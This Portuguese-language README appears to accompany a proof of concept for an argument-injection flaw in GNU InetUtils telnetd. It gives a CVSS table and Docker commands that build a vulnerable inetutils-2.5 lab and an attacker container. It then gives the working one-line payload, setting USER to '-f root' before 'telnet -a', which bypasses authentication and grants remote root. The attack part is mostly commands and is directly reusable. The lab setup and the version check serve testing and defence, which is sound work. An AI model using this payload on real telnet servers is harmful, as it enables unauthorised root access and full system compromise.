
Vulnerabilidade no GNU InetUtils telnetd Permite Acesso Root Remoto
Uma vulnerabilidade de injeção de argumentos recentemente identificada no telnetd do GNU InetUtils permite que atacantes contornem a autenticação definindo a variável de ambiente USER com o valor “-f root”. Como resultado, um atacante remoto não autenticado pode obter acesso a sistemas que executam o serviço telnetd vulnerável e elevar privilégios para root. Se explorada com sucesso, esta falha pode permitir que atacantes acessem informações sensíveis, alterem configurações do sistema e executem comandos arbitrários, potencialmente resultando em um comprometimento total do sistema.
| Detalhe do CVSS | CNA (MITRE) |
|---|
| Pontuação Base | 9.8 |
| Vetor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vetor de Ataque | Rede |
| Complexidade do Ataque | Baixa |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Nenhuma |
| Escopo | Inalterado |
| Impacto na Confidencialidade | Alto |
| Impacto na Integridade | Alto |
| Impacto na Disponibilidade | Alto |
| Versão do CVSSv3 | 3.1 |
Conseguimos acessar o Commit abaixo de 2015 que mostra a alteração de código (linha 62) que criou esta vulnerabilidade.
O objetivo deste readme é apenas mostrar a execução do exploit, não todos os passos que geraram este CVE, no entanto, a intenção é substituir o placeholder %U pelo valor obtido da variável de ambiente USER. Esta variável de ambiente específica é controlada pelo usuário e pode ser manipulada através do protocolo Telnet 🔥 .
Para este teste, criei 2 contêineres usando imagens do Docker Hub, com uma versão vulnerável do InetUtils.
docker run --rm -it --name vuln -p 23:23 ubuntu:22.04 bash
apt update
apt install build-essential wget tar
wget http://ftp.gnu.org/gnu/inetutils/inetutils-2.5.tar.gz
tar -xvzf inetutils-2.5.tar.gz
cd inetutils-2.5
./configure
./configure --enable-telnet
make clean
make
make install
export PATH=$PATH:/usr/local/libexec
apt install openbsd-inetd
echo "telnet stream tcp nowait root /usr/local/libexec/telnetd telnetd" >> /etc/inetd.conf
service openbsd-inetd restart
docker run --rm -it --name attacker ubuntu bash
apt install telnet
Com o payload abaixo, substituímos a variável USER e contornamos o sistema de autenticação.
USER="-f root" telnet -a 172.17.0.3
Verifique sua versão do inetutils
hostname --version
telnetd --version
Até a próxima :wink: